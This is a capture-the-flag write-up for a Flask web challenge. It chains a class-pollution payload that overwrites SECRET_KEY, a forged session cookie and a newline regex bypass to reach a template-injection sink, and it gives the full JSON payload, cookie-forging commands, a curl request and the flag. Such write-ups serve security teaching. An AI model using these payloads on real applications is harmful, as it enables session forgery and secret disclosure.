Webmedium
Soláthairtí Guinness
by Pavel Knespl (capyplivl)
A Flask supplies panel where the flag is only rendered at /secure through a template injection sink. Reaching it chains a class-pollution bug in /forgot that rewrites the app's SECRET_KEY, a forged session cookie, and a newline regex bypass.
Solve
- From source, locate the SSTI sink at
/secure: the sessionusernameis spliced into the template source, then rendered with the flag bound tobratach.
The guard checksteimplead = teimplead.replace("{{ usaideoir }}", session["username"]) return Environment(...).from_string(teimplead).render(bratach=open("bratach.txt").read())len(session["username"]) < 16andre.match(".*bratach.*", session["username"]). - Note the regex has no
re.DOTALL, so.does not match newline. A username starting with\nmakes.*stop at the newline andre.matchreturnsNone, even with "bratach" present. Payload\n{{bratach}}(12 chars) passes both checks. session["username"]is only set on a real login andSECRET_KEY = secrets.token_urlsafe(16)is random per boot, so the session cannot normally be forged. The way in is/forgot, which feeds raw JSON intoDearmadPasfhocailwhose buggy recursive merge allows arbitrary attribute writes:elif isinstance(sprioc, object): for k, v in foinse.items(): if hasattr(sprioc, k) and isinstance(v, dict): self._cumaisc(v, getattr(sprioc, k)) else: setattr(sprioc, k, v)- Walk the object graph to
app.configviacurrent_appinside the request context and overwriteSECRET_KEY:
Confirm the rewrite worked: the merge descends throughPOST /forgot {"username":"admin","__class__":{"__init__":{"__globals__":{ "bunachar":{"init_app":{"__func__":{"__globals__":{ "current_app":{"config":{"SECRET_KEY":"pwn"}}}}}}}}}}current_app(a request-context proxy) intoconfig, which is adictsubclass, so the dict branch executesconfig["SECRET_KEY"] = "pwn". Theusernamekey is also set (used bysabhail()), so the request still returns 200. - Forge a session cookie signed with the now-known key
"pwn", carrying the SSTI payload\n{{bratach}}(12 chars, passes the length and regex guards): With flask-unsign (pip install flask-unsign):
Or pure Python, no extra tools beyond Flask itself:flask-unsign --sign --cookie "{'username': '\n{{bratach}}'}" --secret 'pwn'from flask.sessions import SecureCookieSessionInterface from flask import Flask app = Flask(__name__); app.secret_key = "pwn" s = SecureCookieSessionInterface().get_signing_serializer(app) print(s.dumps({"username": "\n{{bratach}}"})) - Send the forged cookie to
/secure. The handler splices\n{{bratach}}into the template source and renders withbratachbound to the flag, so the page returns the flag in the "Fáilte" line:curl -s http://HOST:5000/secure -b 'session=<forged>'
Flag: SVIUSCG{1f8a433a87f722143b1bee7e1607813d}